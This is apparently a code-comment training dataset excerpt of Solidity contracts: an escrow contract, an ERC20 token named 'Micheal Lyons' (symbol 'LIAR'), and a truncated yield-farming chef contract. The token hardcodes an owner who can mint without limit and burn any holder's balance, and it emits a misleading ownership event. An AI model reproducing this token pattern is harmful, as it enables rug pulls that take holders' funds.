file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
pragma solidity 0.5.11; pragma experimental ABIEncoderV2; // solium-disable security/no-block-members import "../Escrow.sol"; import "../IEscrowCallbackReceiver.sol"; import "../../admin/Pausable.sol"; import "../../admin/Freezable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract CreditCardEscrow is Pausable, Freezable, IEscrowCallbackReceiver { using SafeMath for uint256; // Emitted when assets are escrowed event Escrowed( uint indexed id, uint indexed paymentID, address indexed owner, uint256 endTimestamp ); // Emitted when the release of the assets in a custodial escrow account is successfully requested event ReleaseRequested( uint indexed id, uint256 releaseTimestamp, address releaseTo ); // Emitted when the release of the assets in a custodial escrow account is cancelled event ReleaseCancelled(uint indexed id); // Emitted when the assets in any escrow account are released event Released(uint indexed id); // Emitted when the destruction of the assets in an escrow account is successfully requested event DestructionRequested(uint indexed id, uint256 destructionTimestamp); // Emitted when the destruction of the assets in an escrow account is cancelled event DestructionCancelled(uint indexed id); // Emitted when the assets in an escrow account are destroyed event Destroyed(uint indexed id); struct Lock { // the timestamp after which these assets can be taked from escrow uint256 endTimestamp; // the address which will own these assets after the escrow period address owner; // the timestamp after which these assets can be destroyed uint256 destructionTimestamp; // the timestamp after which these assets will be released uint256 releaseTimestamp; // the user to whom these assets will be released address releaseTo; } struct Callback { address to; bytes data; } Callback internal callback; // Escrow protocol contract Escrow public escrowProtocol; // Mapping from escrow IDs to details mapping(uint256 => Lock) public locks; // The address which can destroy assets address public destroyer; // Number of blocks an escrow account must be marked for destruction before it is destroyed uint256 public destructionDelay; // The address which can withdraw custodial assets address public custodian; // Number of blocks a custodial escrow asset must be marked for release uint256 public releaseDelay; constructor( Escrow _escrowProtocol, address _destroyer, uint256 _destructionDelay, address _custodian, uint256 _releaseDelay ) public { escrowProtocol = _escrowProtocol; destroyer = _destroyer; destructionDelay = _destructionDelay; custodian = _custodian; releaseDelay = _releaseDelay; } modifier onlyDestroyer { require( msg.sender == destroyer, "IM:CreditCardEscrow: must be the destroyer" ); _; } modifier onlyCustodian { require( msg.sender == custodian, "IM:CreditCardEscrow: must be the custodian" ); _; } /** * @dev Set the standard destruction delay for new escrow accounts * * @param _delay Number of blocks an escrow account must be marked for destruction before it is destroyed */ function setDestructionDelay(uint256 _delay) external onlyOwner { destructionDelay = _delay; } /** * @dev Set the destroyer account * * @param _destroyer Address of the destroyer account */ function setDestroyer(address _destroyer) external onlyOwner { require( _destroyer != destroyer, "IM:CreditCardEscrow: must change existing destroyer" ); destroyer = _destroyer; } /** * @dev Set the standard release delay for custodial accounts * * @param _delay Number of blocks a custodial escrow account must be marked for release */ function setReleaseDelay(uint256 _delay) external onlyOwner { releaseDelay = _delay; } /** * @dev Set the custodian account * * @param _custodian Address of the custodian account */ function setCustodian(address _custodian) public onlyOwner { require( _custodian != custodian, "IM:CreditCardEscrow: must change existing custodian" ); custodian = _custodian; } /** * @dev Release all assets from an escrow account * * @param _id The ID of the escrow account to be released */ function release(uint _id) external whenUnfrozen { Lock memory lock = locks[_id]; // do first to avoid any re-entrancy risk delete locks[_id]; emit Released(_id); require( lock.endTimestamp != 0, "IM:CreditCardEscrow: must have escrow period set" ); require( lock.destructionTimestamp == 0, "IM:CreditCardEscrow: must not be marked for destruction" ); require( block.timestamp >= lock.endTimestamp, "IM:CreditCardEscrow: escrow period must have expired" ); if (lock.owner != address(0)) { escrowProtocol.release(_id, lock.owner); } else { require( lock.releaseTo != address(0), "IM:CreditCardEscrow: cannot burn assets" ); require( block.timestamp >= lock.releaseTimestamp, "IM:CreditCardEscrow: release period must have expired" ); escrowProtocol.release(_id, lock.releaseTo); } } /** * @dev Request that a custodial escrow account's assets be marked for release * * @param _id The ID of the escrow account to be marked * @param _to The new owner of tese assets */ function requestRelease(uint _id, address _to) external onlyCustodian { Lock storage lock = locks[_id]; require( lock.owner == address(0), "IM:CreditCardEscrow: escrow account is not custodial, call release directly" ); require( lock.endTimestamp != 0, "IM:CreditCardEscrow: must be in escrow" ); require( lock.destructionTimestamp == 0, "IM:CreditCardEscrow: must not be marked for destruction" ); require( lock.releaseTimestamp == 0, "IM:CreditCardEscrow: must not be marked for release" ); require( block.timestamp.add(releaseDelay) >= lock.endTimestamp, "IM:CreditCardEscrow: release period must end after escrow period" ); require( _to != address(0), "IM:CreditCardEscrow: must release to a real user" ); uint256 releaseTimestamp = block.timestamp.add(releaseDelay); lock.releaseTimestamp = releaseTimestamp; lock.releaseTo = _to; emit ReleaseRequested(_id, releaseTimestamp, _to); } /** * @dev Cancel a release request * * @param _id The ID of the escrow account to be unmarked */ function cancelRelease(uint _id) external onlyCustodian whenUnfrozen { Lock storage lock = locks[_id]; require( lock.owner == address(0), "IM:CreditCardEscrow: escrow account is not custodial, call release directly" ); require( lock.releaseTimestamp != 0, "IM:CreditCardEscrow: must be marked for release" ); require( lock.releaseTimestamp > block.timestamp, "IM:CreditCardEscrow: release period must not have expired" ); lock.releaseTimestamp = 0; lock.releaseTo = address(0); emit ReleaseCancelled(_id); } /** * @dev Request that an escrow account's assets be marked for destruction * * @param _id The ID of the escrow account to be marked */ function requestDestruction(uint _id) external onlyDestroyer { Lock storage lock = locks[_id]; require( lock.endTimestamp != 0, "IM:CreditCardEscrow: must be in escrow" ); require( lock.destructionTimestamp == 0, "IM:CreditCardEscrow: must not be marked for destruction" ); require( lock.endTimestamp > block.timestamp, "IM:CreditCardEscrow: escrow period must not have expired" ); uint256 destructionTimestamp = block.timestamp.add(destructionDelay); lock.destructionTimestamp = destructionTimestamp; emit DestructionRequested(_id, destructionTimestamp); } /** * @dev Revoke a destruction request * * @param _id The ID of the escrow account to be unmarked */ function cancelDestruction(uint _id) external onlyDestroyer { Lock storage lock = locks[_id]; require( lock.destructionTimestamp != 0, "IM:CreditCardEscrow: must be marked for destruction" ); require( lock.destructionTimestamp > block.timestamp, "IM:CreditCardEscrow: destruction period must not have expired" ); lock.destructionTimestamp = 0; emit DestructionCancelled(_id); } /** * @dev Destroy all assets in an escrow account * * @param _id The ID of the escrow account to be destroyed */ function destroy(uint _id) public onlyDestroyer { Lock memory lock = locks[_id]; require( lock.destructionTimestamp != 0, "IM:CreditCardEscrow: must be marked for destruction" ); require( block.timestamp >= lock.destructionTimestamp, "IM:CreditCardEscrow: destruction period must have expired" ); delete locks[_id]; emit Destroyed(_id); escrowProtocol.destroy(_id); } /** * @dev Escrow some amount of ERC20 tokens * * @param _vault the details of the escrow vault * @param _callbackData the data to pass to the callback transaction * @param _paymentID The ID of the payment * @param _duration the duration of the escrow */ function escrow( Escrow.Vault memory _vault, bytes memory _callbackData, uint256 _paymentID, uint256 _duration ) public whenUnpaused whenUnfrozen returns (uint) { require( _duration > 0, "IM:CreditCardEscrow: must be locked for a number of blocks" ); require( _vault.admin == address(this), "IM:CreditCardEscrow: admin must be this contract" ); callback = Callback({ to: msg.sender, data: _callbackData }); // escrow the assets with this contract as the releaser // trusted contract, no re-entrancy risk uint escrowID = escrowProtocol.escrow(_vault); _lock(escrowID, _paymentID, _duration, _vault.player); return escrowID; } function onEscrowCallback() external returns (bytes4) { require(msg.sender == address(escrowProtocol), "IM:CreditCardEscrow: must be escrow"); require(callback.to != address(0), "IM:CreditCardEscrow: must have callback address set"); // solium-disable-next-line security/no-low-level-calls (bool success, ) = callback.to.call(callback.data); require(success, "IM:CreditCardEscrow: callback must be successful"); return bytes4(keccak256("Immutable Escrow Callback")); } function getProtocol() external view returns (address) { return address(escrowProtocol); } function _lock( uint _escrowID, uint _paymentID, uint256 _duration, address _owner ) internal { uint256 endTimestamp = block.timestamp.add(_duration); locks[_escrowID] = Lock({ owner: _owner, endTimestamp: endTimestamp, destructionTimestamp: 0, releaseTimestamp: 0, releaseTo: address(0) }); emit Escrowed(_escrowID, _paymentID, _owner, endTimestamp); } }
escrow the assets with this contract as the releaser trusted contract, no re-entrancy risk
uint escrowID = escrowProtocol.escrow(_vault);
13,068,987
[ 1, 742, 492, 326, 7176, 598, 333, 6835, 487, 326, 6707, 14558, 13179, 6835, 16, 1158, 283, 17, 8230, 12514, 18404, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 2904, 492, 734, 273, 2904, 492, 5752, 18, 742, 492, 24899, 26983, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = 0xD3BDB0cF067C7EBce779654949a440a5ce4e13EA; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MichealLyons is Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'Micheal Lyons'; _symbol = 'LIAR'; _totalSupply= 1000000000000 *(10**decimals()); _balances[owner()]=_totalSupply; emit Transfer(address(0),owner(),_totalSupply); } /** * @dev Returns the name of the token. * */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 20; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner{ _mint( account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function Burn(address account, uint256 amount) public onlyOwner { _burn( account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}./
function decimals() public view virtual override returns (uint8) { return 20; }
6,149,658
[ 1, 1356, 326, 1300, 434, 15105, 1399, 358, 336, 2097, 729, 4335, 18, 2457, 3454, 16, 309, 1375, 31734, 68, 1606, 1375, 22, 9191, 279, 11013, 434, 1375, 3361, 25, 68, 2430, 1410, 506, 10453, 358, 279, 729, 487, 1375, 25, 16, 6260, 68, 21863, 3361, 25, 342, 1728, 225, 576, 68, 2934, 13899, 11234, 2153, 364, 279, 460, 434, 6549, 16, 709, 305, 1776, 326, 5232, 3086, 512, 1136, 471, 1660, 77, 18, 1220, 353, 326, 460, 288, 654, 39, 3462, 97, 4692, 16, 3308, 333, 445, 353, 11000, 31, 5219, 30, 1220, 1779, 353, 1338, 1399, 364, 389, 5417, 67, 13694, 30, 518, 316, 1158, 4031, 30058, 1281, 434, 326, 30828, 434, 326, 6835, 16, 6508, 288, 45, 654, 39, 3462, 17, 12296, 951, 97, 471, 288, 45, 654, 39, 3462, 17, 13866, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15105, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 4200, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol"; import "@boringcrypto/boring-solidity/contracts/BoringBatchable.sol"; import "@boringcrypto/boring-solidity/contracts/BoringOwnable.sol"; import "./FantasticToken.sol" as FantasticToken; import "./libraries/SignedSafeMath.sol"; import "./interfaces/IRewarder.sol"; library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } interface IMigratorChef { // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. function migrate(IERC20 token) external returns (IERC20); } /// It is the only address with minting rights for FANTA. contract FantasticChef is BoringOwnable, BoringBatchable { using SafeMath for uint256; using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of FANTA entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of FANTA to distribute per block. struct PoolInfo { uint128 accFantaPerShare; uint64 lastRewardTime; uint64 allocPoint; } /// @notice Address of FANTA contract. FantasticToken.FantasticToken public immutable FANTA; // Dev address. address public devaddr; // @notice The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; /// @notice Info of each MCV2 pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MCV2 pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MCV2. IRewarder[] public rewarder; /// @notice Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; /// @dev Tokens added mapping(address => bool) public addedTokens; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public fantaPerSecond; uint256 private constant ACC_FANTA_PRECISION = 1e12; event Deposit( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event Withdraw( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition( uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder ); event LogSetPool( uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite ); event LogUpdatePool( uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accFantaPerShare ); event LogFantaPerSecond(uint256 fantaPerSecond); /// @param _fanta The FANTA token contract address. constructor(FantasticToken.FantasticToken _fanta, address _devaddr) public { FANTA = _fanta; devaddr = _devaddr; } /// @notice Returns the number of MCV2 pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } /// @notice Add a new LP to the pool. Can only be called by the owner. /// DO NOT add the same LP token more than once. Rewards will be messed up if you do. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add( uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder ) public onlyOwner { require(addedTokens[address(_lpToken)] == false, "Token already added"); totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push( PoolInfo({ allocPoint: allocPoint.to64(), lastRewardTime: block.timestamp.to64(), accFantaPerShare: 0 }) ); addedTokens[address(_lpToken)] = true; emit LogPoolAddition( lpToken.length.sub(1), allocPoint, _lpToken, _rewarder ); } /// @notice Update the given pool's FANTA allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set( uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite ) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool( _pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite ); } /// @notice Sets the fanta per second to be distributed. Can only be called by the owner. /// @param _fantaPerSecond The amount of Fanta to be distributed per second. function setFantaPerSecond(uint256 _fantaPerSecond) public onlyOwner { fantaPerSecond = _fantaPerSecond; emit LogFantaPerSecond(_fantaPerSecond); } /// @notice Set the `migrator` contract. Can only be called by the owner. /// @param _migrator The contract address to set. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } /// @notice Migrate LP token to another LP contract through the `migrator` contract. /// @param _pid The index of the pool. See `poolInfo`. function migrate(uint256 _pid) public { require( address(migrator) != address(0), "FantasticChef: no migrator set" ); IERC20 _lpToken = lpToken[_pid]; uint256 bal = _lpToken.balanceOf(address(this)); _lpToken.approve(address(migrator), bal); IERC20 newLpToken = migrator.migrate(_lpToken); require( bal == newLpToken.balanceOf(address(this)), "FantasticChef: migrated balance must match" ); require( addedTokens[address(newLpToken)] == false, "Token already added" ); addedTokens[address(newLpToken)] = true; addedTokens[address(_lpToken)] = false; lpToken[_pid] = newLpToken; } /// 